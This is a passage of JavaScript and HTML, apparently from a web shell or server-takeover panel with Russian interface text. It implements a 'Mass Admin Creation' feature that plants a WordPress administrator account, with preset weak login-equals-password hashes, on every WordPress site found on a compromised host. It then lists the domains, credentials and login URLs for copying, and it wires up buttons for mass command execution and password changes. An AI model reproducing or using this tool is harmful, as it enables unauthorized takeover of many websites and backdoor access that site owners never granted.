    h.push('<button class="btn small" onclick="setAdminPreset(\'wpadmin\', \'$P$BYeFkpHCKnGVqLaONxXhtXUuqBfxWz.\', \'wpadmin\')" style="background:#050">wpadmin</button>');
    h.push('<button class="btn small" onclick="setAdminPreset(\'admin123\', \'$P$BVnB7yk8MnmaY6dSsqgj5Q/bTMhJOX0\', \'admin123\')" style="background:#050">admin123</button>');
    h.push('<button class="btn small" onclick="setAdminPreset(\'manager\', \'$P$BWcREqR4GZT/FWsZqAZ5bQ4nN8JYNL1\', \'manager\')" style="background:#050">manager</button>');
    h.push('</div>');
    h.push('<div class="small muted" style="margin-top:8px">Нажмите на пресет чтобы заполнить поля. Логин = пароль</div>');
    h.push('</fieldset>');
    
    h.push('<details style="margin-top:10px"><summary class="small" style="cursor:pointer;color:#aaa">📝 Как сгенерировать свой хэш?</summary>');
    h.push('<div style="padding:10px;background:#0a0a0a;border-radius:4px;margin-top:5px">');
    h.push('<div class="small">В WordPress или PHP выполните:</div>');
    h.push('<code style="display:block;margin-top:5px;padding:5px;background:#000">wp_hash_password(\'ваш_пароль\')</code>');
    h.push('<div class="small" style="margin-top:5px">Или онлайн: <a href="https://www.useotools.com/wordpress-password-hash-generator" target="_blank" style="color:#0af">WordPress Password Hash Generator</a></div>');
    h.push('</div></details>');
    
    h.push('<div style="margin-top:15px;padding:10px;background:#1a0a0a;border:1px solid #500;border-radius:8px">');
    h.push('<div style="color:#f00;font-weight:bold">⚠️ ВНИМАНИЕ!</div>');
    h.push('<div class="small" style="color:#fa0">Это создаст администратора на ВСЕХ найденных WordPress сайтах. Операция необратима!</div>');
    h.push('</div>');
    
    h.push('<div style="margin-top:15px;display:flex;gap:10px">');
    h.push('<button class="btn" onclick="runMassCreateAdmin()" style="background:#0a0;border-color:#0a0">👤 Создать админов</button>');
    h.push('<button class="btn" onclick="closePentestModal()">Отмена</button>');
    h.push('</div>');
    h.push('</div>');
    
    openPentestModal('👤 Mass Admin Creation', h.join(''));
  } catch(e) {
    alert('Error: ' + e.message);
  }
}

function setAdminPreset(login, hash, plaintext) {
  document.getElementById('massAdminLogin').value = login;
  document.getElementById('massAdminPasswordHash').value = hash;
  document.getElementById('massAdminPasswordDisplay').value = plaintext;
}

async function runMassCreateAdmin() {
  try {
    var login = document.getElementById('massAdminLogin').value.trim();
    var passwordHash = document.getElementById('massAdminPasswordHash').value.trim();
    var passwordDisplay = document.getElementById('massAdminPasswordDisplay').value.trim();
    var email = document.getElementById('massAdminEmail').value.trim();
    
    if (!login || login.length < 3) {
      alert('Логин должен быть минимум 3 символа');
      return;
    }
    if (!passwordHash || !passwordHash.startsWith('$P$')) {
      alert('Хэш пароля должен быть в формате WordPress phpass (начинаться с $P$)');
      return;
    }
    if (!passwordDisplay) {
      alert('Укажите plaintext пароль для отображения');
      return;
    }
    
    if (!confirm('Вы уверены, что хотите создать админа "' + login + '" (пароль: ' + passwordDisplay + ') на ВСЕХ найденных WordPress сайтах?')) {
      return;
    }
    
    openPentestModal('👤 Mass Admin Creation', '<div style="text-align:center;padding:50px"><h3>⏳ Создание админов...</h3><div class="small muted">Поиск WordPress сайтов и создание администраторов</div><div class="small muted" style="margin-top:10px">Это может занять несколько минут...</div></div>');
    
    var fd = new FormData();
    fd.append('csrf', csrf);
    fd.append('login', login);
    fd.append('password_hash', passwordHash);
    fd.append('password_display', passwordDisplay);
    if (email) fd.append('email', email);
    
    var response = await fetch('?api=mass_create_admin' + dbg, { method: 'POST', body: fd });
    var data = await response.json();
    
    if (data.status === 'ok') {
      renderMassAdminResults(data.results, login, passwordDisplay);
    } else {
      openPentestModal('👤 Mass Admin Creation', '<div style="color:#f00;padding:20px">Ошибка: ' + (data.message || 'Unknown') + '</div>');
    }
  } catch(e) {
    openPentestModal('👤 Mass Admin Creation', '<div style="color:#f00;padding:20px">Ошибка: ' + e.message + '</div>');
  }
}

function renderMassAdminResults(results, login, password) {
  var h = [];
  
  // Блок с учётными данными для копирования
  h.push('<div style="background:#0a1a0a;border:2px solid #0a0;border-radius:8px;padding:15px;margin-bottom:20px">');
  h.push('<div style="font-weight:bold;color:#0f0;margin-bottom:10px">🔑 Учётные данные для входа:</div>');
  h.push('<div style="display:grid;grid-template-columns:100px 1fr auto;gap:10px;align-items:center">');
  h.push('<span>Логин:</span>');
  h.push('<code style="background:#000;padding:8px 12px;border-radius:4px;font-size:14px" id="resultLogin">' + login + '</code>');
  h.push('<button class="btn small" onclick="navigator.clipboard.writeText(\'' + login + '\').then(function(){alert(\'Логин скопирован!\')})" style="background:#050">📋</button>');
  h.push('</div>');
  h.push('<div style="display:grid;grid-template-columns:100px 1fr auto;gap:10px;align-items:center;margin-top:10px">');
  h.push('<span>Пароль:</span>');
  h.push('<code style="background:#000;padding:8px 12px;border-radius:4px;font-size:14px" id="resultPassword">' + password + '</code>');
  h.push('<button class="btn small" onclick="navigator.clipboard.writeText(\'' + password + '\').then(function(){alert(\'Пароль скопирован!\')})" style="background:#050">📋</button>');
  h.push('</div>');
  h.push('<div class="small muted" style="margin-top:10px">Используйте эти данные для входа в wp-admin созданных сайтов</div>');
  h.push('</div>');
  
  h.push('<div class="flex" style="margin-bottom:15px;flex-wrap:wrap;gap:10px">');
  h.push('<span class="badge">Всего сайтов: ' + results.total + '</span>');
  h.push('<span class="badge" style="background:#0a0">✅ Успешно: ' + results.success_count + '</span>');
  h.push('<span class="badge" style="background:#a00">❌ Ошибок: ' + results.failed_count + '</span>');
  h.push('</div>');
  
  if (results.success_count > 0) {
    h.push('<details class="coll" open><summary style="color:#0f0">✅ Успешно созданы (' + results.success_count + ')</summary><div>');
    h.push('<table><thead><tr><th>Домен</th><th>Логин</th><th>Пароль</th><th>URL для входа</th></tr></thead><tbody>');
    
    results.sites.filter(function(s) { return s.success; }).forEach(function(s) {
      var loginUrl = s.url ? s.url + '/wp-login.php' : '#';
      var adminUrl = s.url ? s.url + '/wp-admin/' : '#';
      h.push('<tr>');
      h.push('<td><strong style="color:#0af">' + (s.domain || 'Unknown') + '</strong><br><code class="small">' + s.path + '</code></td>');
      h.push('<td><code style="background:#0a0a0a;padding:3px 6px">' + s.login + '</code></td>');
      h.push('<td><code style="background:#0a0a0a;padding:3px 6px">' + s.password + '</code></td>');
      h.push('<td><a href="' + loginUrl + '" target="_blank" style="color:#0f0">🔗 wp-login</a> | <a href="' + adminUrl + '" target="_blank" style="color:#0af">📁 wp-admin</a></td>');
      h.push('</tr>');
    });
    h.push('</tbody></table>');
    
    // Копируемый список
    var successList = results.sites.filter(function(s) { return s.success; }).map(function(s) {
      return (s.domain || s.path) + ' | ' + s.login + ' | ' + s.password + ' | ' + (s.url || '');
    });
    h.push('<details style="margin-top:10px"><summary class="small">📋 Копировать список (' + successList.length + ')</summary>');
    h.push('<textarea style="width:100%;height:150px;margin-top:5px;font-family:monospace;font-size:11px;background:#0a0a0a;color:#0f0" readonly>' + successList.join('\\n') + '</textarea>');
    h.push('<button class="btn small" onclick="navigator.clipboard.writeText(this.previousElementSibling.value).then(function(){alert(\'Скопировано!\')})" style="margin-top:5px">📋 Copy</button>');
    h.push('</details>');
    
    h.push('</div></details>');
  }
  
  if (results.failed_count > 0) {
    h.push('<details class="coll"><summary style="color:#f00">❌ Не удалось создать (' + results.failed_count + ')</summary><div>');
    h.push('<table><thead><tr><th>Домен/Путь</th><th>Причина</th></tr></thead><tbody>');
    
    results.sites.filter(function(s) { return !s.success; }).forEach(function(s) {
      h.push('<tr>');
      h.push('<td>' + (s.domain || '<span class="muted">—</span>') + '<br><code class="small">' + s.path + '</code></td>');
      h.push('<td style="color:#fa0">' + s.message + '</td>');
      h.push('</tr>');
    });
    h.push('</tbody></table></div></details>');
  }
  
  h.push('<div style="margin-top:20px;padding-top:15px;border-top:1px solid var(--line)">');
  h.push('<button class="btn" onclick="closePentestModal()">Закрыть</button>');
  h.push('</div>');
  
  openPentestModal('👤 Mass Admin Creation - Результаты', h.join(''));
}

// Привязка событий к новым кнопкам
if (document.getElementById('btnScanPanels')) {
  document.getElementById('btnScanPanels').addEventListener('click', scanPanels);
}
if (document.getElementById('btnFindLogins')) {
  document.getElementById('btnFindLogins').addEventListener('click', scanLogins);
}
if (document.getElementById('btnMassDiscover')) {
  document.getElementById('btnMassDiscover').addEventListener('click', discoverDomains);
}
if (document.getElementById('btnMassExecute')) {
  document.getElementById('btnMassExecute').addEventListener('click', massExecute);
}
if (document.getElementById('btnChangePassword')) {
  document.getElementById('btnChangePassword').addEventListener('click', changePassword);
}
if (document.getElementById('btnMassCreateAdmin')) {
  document.getElementById('btnMassCreateAdmin').addEventListener('click', massCreateAdmin);
}

// ==================== КОНЕЦ НОВЫХ ФУНКЦИЙ ====================

// initial
if (typeof presetBalanced === 'function') {
  presetBalanced();
}
// Не вызываем apiScan автоматически - пользователь должен нажать кнопку
</script>
</body></html>